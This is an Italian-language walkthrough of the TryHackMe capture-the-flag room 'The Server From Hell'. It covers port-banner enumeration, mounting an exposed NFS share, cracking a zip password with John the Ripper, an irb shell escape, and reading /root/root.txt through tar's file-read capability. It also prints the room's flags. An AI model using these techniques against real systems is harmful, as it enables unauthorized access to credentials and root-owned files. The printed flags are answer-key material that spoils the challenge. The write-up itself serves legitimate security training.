Descrizione:
Face a server that feels as if it was configured and deployed by Satan himself. Can you escalate to root?
Start at port 1337 and enumerate your way.
Good luck.
LINK: https://tryhackme.com/room/theserverfromhell
⠀
⠀
flag.txt
Iniziamo come dice il suggerimento, scansioniamo la porta 1337:
┌──(kali㉿kali)-[/data/vpn]
└─$ nc 10.10.85.25 1337
Welcome traveller, to the beginning of your journey
To begin, find the trollface
Legend says he's hiding in the first 100 ports
Try printing the banners from the ports
Usiamo un comando Bash per visualizzare l'output quando ci si connette alle prime 100 porte:
┌──(kali㉿kali)-[/data/vpn]
└─$ for i in {1..100};do nc 10.10.85.25 $i;echo "";done
550 12345 0000000000000000000000000000000000000000000000000000000
550 12345 0000000000000000000000000000000000000000000000000000000
550 12345 0000000000000000000000000000000000000000000000000000000
550 12345 0000000000000000000000000000000000000000000000000000000
550 12345 0000000000000000000000000000000000000000000000000000000
550 12345 0ffffffffffffffffffffffffffffffffffffffffffffffffffff00
550 12345 0fffffffffffff777778887777777777cffffffffffffffffffff00
550 12345 0fffffffffff8000000000000000008888887cfcfffffffffffff00
550 12345 0ffffffffff80000088808000000888800000008887ffffffffff00
550 12345 0fffffffff70000088800888800088888800008800007ffffffff00
550 12345 0fffffffff000088808880000000000000088800000008fffffff00
550 12345 0ffffffff80008808880000000880000008880088800008ffffff00
550 12345 0ffffffff000000888000000000800000080000008800007fffff00
550 12345 0fffffff8000000000008888000000000080000000000007fffff00
550 12345 0ffffff70000000008cffffffc0000000080000000000008fffff00
550 12345 0ffffff8000000008ffffff007f8000000007cf7c80000007ffff00
550 12345 0fffff7880000780f7cffff7800f8000008fffffff80808807fff00
550 12345 0fff78000878000077800887fc8f80007fffc7778800000880cff00
550 12345 0ff70008fc77f7000000f80008f8000007f0000000000000888ff00
550 12345 0ff0008f00008ffc787f70000000000008f000000087fff8088cf00
550 12345 0f7000f800770008777 go to port 12345 80008f7f700880cf00 <--------- interesting!
550 12345 0f8008c008fff8000000000000780000007f800087708000800ff00
550 12345 0f8008707ff07ff8000008088ff800000000f7000000f800808ff00
550 12345 0f7000f888f8007ff7800000770877800000cf780000ff00807ff00
550 12345 0ff0808800cf0000ffff70000f877f70000c70008008ff8088fff00
550 12345 0ff70800008ff800f007fff70880000087f70000007fcf7007fff00
550 12345 0fff70000007fffcf700008ffc778000078000087ff87f700ffff00
550 12345 0ffffc000000f80fff700007787cfffc7787fffff0788f708ffff00
550 12345 0fffff7000008f00fffff78f800008f887ff880770778f708ffff00
550 12345 0ffffff8000007f0780cffff700000c000870008f07fff707ffff00
550 12345 0ffffcf7000000cfc00008fffff777f7777f777fffffff707ffff00
550 12345 0cccccff0000000ff000008c8cffffffffffffffffffff807ffff00
550 12345 0fffffff70000000ff8000c700087fffffffffffffffcf808ffff00
550 12345 0ffffffff800000007f708f000000c0888ff78f78f777c008ffff00
550 12345 0fffffffff800000008fff7000008f0000f808f0870cf7008ffff00
550 12345 0ffffffffff7088808008fff80008f0008c00770f78ff0008ffff00
550 12345 0fffffffffffc8088888008cffffff7887f87ffffff800000ffff00
550 12345 0fffffffffffff7088888800008777ccf77fc777800000000ffff00
550 12345 0fffffffffffffff800888880000000000000000000800800cfff00
550 12345 0fffffffffffffffff70008878800000000000008878008007fff00
550 12345 0fffffffffffffffffff700008888800000000088000080007fff00
550 12345 0fffffffffffffffffffffc800000000000000000088800007fff00
550 12345 0fffffffffffffffffffffff7800000000000008888000008ffff00
550 12345 0fffffffffffffffffffffffff7878000000000000000000cffff00
550 12345 0ffffffffffffffffffffffffffffffc880000000000008ffffff00
550 12345 0ffffffffffffffffffffffffffffffffff7788888887ffffffff00
550 12345 0ffffffffffffffffffffffffffffffffffffffffffffffffffff00
550 12345 0000000000000000000000000000000000000000000000000000000
550 12345 0000000000000000000000000000000000000000000000000000000
550 12345 0000000000000000000000000000000000000000000000000000000
����Grandstream GXVd( Boot:HMda Loader:wzYUBO App:OeigdB HW: BWsw ) Command Shell
Password:
220 KMiSG ESMTP
214-The following commands are recognized
214- auth data ehlo euq_full
214- helo help mail noop
214 quit rcpt rset vrfy
[REDACTED]
HTTP/1.0 200 OK
Server: IP_SHARER WEB jO-OiffR
h<meta name="description" content="Belkin 1">
������!����
*+
* +*
* The Gemini Project *
* +*
*+
OpenDreambox Xlc qr
La porta 21 ci suggerisce di collegarci alla porta 12345
┌──(kali㉿kali)-[/data/vpn]
└─$ nc 10.10.85.25 21
550 12345 0f7000f800770008777 go to port 12345 80008f7f700880cf00
Confermiamo con una scansione sulle porte 111 e 2049:
┌──(kali㉿kali)-[/data/The_Server_From_Hell]
└─$ nmap -sC -sV -p111,2049 10.10.85.25 255 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 08:08 CEST
Nmap scan report for 10.10.85.25
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 45669/tcp mountd
| 100005 1,2,3 54813/tcp6 mountd
| 100005 1,2,3 56633/udp mountd
| 100005 1,2,3 59800/udp6 mountd
| 100021 1,3,4 33261/udp nlockmgr
| 100021 1,3,4 37817/tcp6 nlockmgr
| 100021 1,3,4 43006/udp6 nlockmgr
| 100021 1,3,4 46809/tcp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
In effetti, esiste una condivisione NFS, che espone un file backup.zip.
┌──(kali㉿kali)-[/data/The_Server_From_Hell/files]
└─$ mkdir nfs
┌──(kali㉿kali)-[/data/The_Server_From_Hell/files]
└─$ sudo mount -t nfs 10.10.85.25: nfs
┌──(kali㉿kali)-[/data/The_Server_From_Hell/files]
└─$ tree nfs
nfs
└── home
└── nfs
└── backup.zip
Notiamo l'archivio /home/hades/.ssh/ bloccato con una password.
┌──(kali㉿kali)-[/data/The_Server_From_Hell/files]
└─$ zipinfo backup.zip
Archive: backup.zip
Zip file size: 4534 bytes, number of entries: 6
drwx------ 3.0 unx 0 bx stor 20-Sep-16 00:11 home/hades/.ssh/
-rw------- 3.0 unx 3369 TX defN 20-Sep-16 00:11 home/hades/.ssh/id_rsa
-rw-r--r-- 3.0 unx 10 TX stor 20-Sep-16 00:11 home/hades/.ssh/hint.txt
-rw-r--r-- 3.0 unx 736 TX defN 20-Sep-16 00:11 home/hades/.ssh/authorized_keys
-rw-r--r-- 3.0 unx 33 TX stor 20-Sep-16 00:11 home/hades/.ssh/flag.txt
-rw-r--r-- 3.0 unx 736 TX defN 20-Sep-16 00:11 home/hades/.ssh/id_rsa.pub
6 files, 4884 bytes uncompressed, 3318 bytes compressed: 32.1%
┌──(kali㉿kali)-[/data/The_Server_From_Hell/files]
└─$ unzip backup.zip
Archive: backup.zip
creating: home/hades/.ssh/
[backup.zip] home/hades/.ssh/id_rsa password:
Proviamo quindi a prendere la password:
┌──(kali㉿kali)-[/data/The_Server_From_Hell/files]
└─$ /data/src/john/run/zip2john backup.zip > backup.hash
┌──(kali㉿kali)-[/data/The_Server_From_Hell/files]
└─$ /data/src/john/run/john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
zxcvbnm (backup.zip)
1g 0:00:00:00 DONE (2021-05-05 08:28) 50.00g/s 204800p/s 204800c/s 204800C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
┌──(kali㉿kali)-[/data/…/files/home/hades/.ssh]
└─$ cat flag.txt
thm{h0p3_y0u_l1k3d_th3_f1r3w4ll}
USER FLAG: thm{h0p3_y0u_l1k3d_th3_f1r3w4ll}
Proviamo a controllare il file hint.txt per la flag successiva:
┌──(kali㉿kali)-[/data/…/files/home/hades/.ssh]
└─$ cat hint.txt
2500-4500
Usiamo Nmap per scansionare le porte:
┌──(kali㉿kali)-[/data/The_Server_From_Hell/files]
└─$ nmap -sV -p 2500-4500 10.10.85.25 | grep -i ssh
2536/tcp open ssh (protocol 615)
2543/tcp open ssh Nand sshd hwW (protocol 2143693)
2562/tcp open ssh FortiSSH (protocol 2.0)
2630/tcp open ssh SCS sshd 3.5.2SSH (protocol 834410622)
2707/tcp open ssh SSHTroll ssh honeypot (protocol 2438420)
2761/tcp open ssh 3Com switch sshd jgxNa (protocol 14228)
2765/tcp open ssh (protocol 2.0)
2767/tcp open ssh (protocol 83)
2875/tcp open ssh SrSshServer ZKBo (sshlib Dw; protocol 97407)
2897/tcp open ssh (protocol 2.0)
2966/tcp open ssh (protocol 17611)
2968/tcp open ssh libwrap'd OpenSSH (Access denied)
3066/tcp open ssh WRQ Reflection for Secure IT sshd duabgq (OpenVMS MultiNet; protocol 623831517)
3079/tcp open ssh (protocol 883)
3148/tcp open ssh (protocol 326)
3207/tcp open ssh (protocol 125669)
3333/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3382/tcp open ssh (protocol 83405642)
3385/tcp open ssh (protocol 080789)
3532/tcp open ssh (protocol 7106)
3647/tcp open ssh Cisco IP Phone sshd (protocol 82)
3690/tcp open ssh (protocol 409525)
3765/tcp open ssh SSHTroll ssh honeypot (protocol 0677915)
3787/tcp open ssh F-Secure sshd 35 (protocol 835)
3815/tcp open ssh Bitvise WinSSHD MyBbLj (FlowSsh kvhaFR; protocol 8097785; non-commercial use)
3817/tcp open sip-proxy Comdasys SIP Server zOSsHY
3838/tcp open ssh (protocol 903332409)
3898/tcp open ssh Cisco CSS SSH (Unlicensed)
3941/tcp open ssh (protocol 4622)
4045/tcp open ssh (protocol 2435851)
4104/tcp open ssh (protocol 737915)
4140/tcp open ssh Cisco switch sshd (misconfigured)
4145/tcp open ssh (protocol 60636)
4150/tcp open ssh (protocol 57756)
4205/tcp open ssh Bitvise WinSSHD Wc (FlowSsh kI; protocol 444896613; non-commercial use)
4232/tcp open ssh (protocol 97)
4266/tcp open ssh (protocol 10)
4297/tcp open ssh (protocol 4762)
4331/tcp open ssh Cisco switch sshd (misconfigured)
4468/tcp open ssh (protocol 2.0)
irb(main):001:0> exec '/bin/bash'
hades@hell:~$ cat user.txt
thm{sh3ll_3c4p3_15_v3ry_1337}
FLAG: thm{sh3ll_3c4p3_15_v3ry_1337}
⠀
⠀
ROOT.TXT
hades@hell:/tmp$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/bin/tar = cap_dac_read_search+ep
hades@hell:/tmp$ tar -cvf flag.tar /root/root.txt
hades@hell:/tmp$ tar xf flag.tar
hades@hell:/tmp$ cat root/root.txt
thm{w0w_n1c3_3sc4l4t10n}
ROOT FLAG: thm{w0w_n1c3_3sc4l4t10n}